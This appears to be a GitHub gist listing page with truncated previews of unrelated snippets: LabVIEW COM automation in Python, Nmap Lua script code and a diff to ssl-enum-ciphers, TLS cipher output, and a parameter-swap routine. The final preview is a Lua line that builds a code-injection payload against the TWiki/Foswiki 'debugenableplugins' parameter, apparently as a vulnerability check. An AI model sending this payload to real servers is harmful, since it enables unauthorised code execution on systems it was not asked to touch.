This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import thread | |
import win32com.client | |
import time | |
labview = win32com.client.Dispatch("Labview.Application") | |
VI = labview.getvireference(r'C:\path\to\target.vi') | |
def run_app(): | |
VI.run() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
_swpints input parameter list [int b2b, int b2c] | |
output parameter list[int c2b, int c2c]; | |
c2b<---b2c; | |
c2c<---b2b; | |
return [c2b, c2c]; | |
end | |
_swprecs input parameter list [record #rec d5b, record #rec d2c] | |
output parameter list[record #rec d5c, record #rec d2b]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- | |
-- Formatting functions for script output | |
-- | |
local stdnse = require "stdnse" | |
local table = require "table" | |
local string = require "string" | |
local debug = require "debug" | |
local _R = debug.getregistry() | |
_ENV = stdnse.module("format", stdnse.seeall) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/scripts/ssl-enum-ciphers.nse b/scripts/ssl-enum-ciphers.nse | |
index 94d5294..2b237d3 100644 | |
--- a/scripts/ssl-enum-ciphers.nse | |
+++ b/scripts/ssl-enum-ciphers.nse | |
@@ -138,6 +138,8 @@ categories = {"discovery", "intrusive"} | |
-- http://seclists.org/nmap-dev/2012/q3/156 | |
-- http://seclists.org/nmap-dev/2010/q1/859 | |
local CHUNK_SIZE = 64 | |
+local have_ssl, _ = pcall(require,'openssl') | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ssl-enum-ciphers: | |
| TLSv1.0: | |
| ciphers: | |
| TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA | |
| TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA | |
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA | |
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA | |
| TLS_RSA_WITH_AES_128_CBC_SHA | |
| TLS_RSA_WITH_AES_256_CBC_SHA | |
| TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
local payload = '/'.. path .. '/do/view/Main/WebHome?debugenableplugins=BackupRestorePlugin%3bprint("Content-Type:text/html\\r\\n\\r\\n'..rand..'!")%3bexit' | |
payload = payload:gsub('//','/') |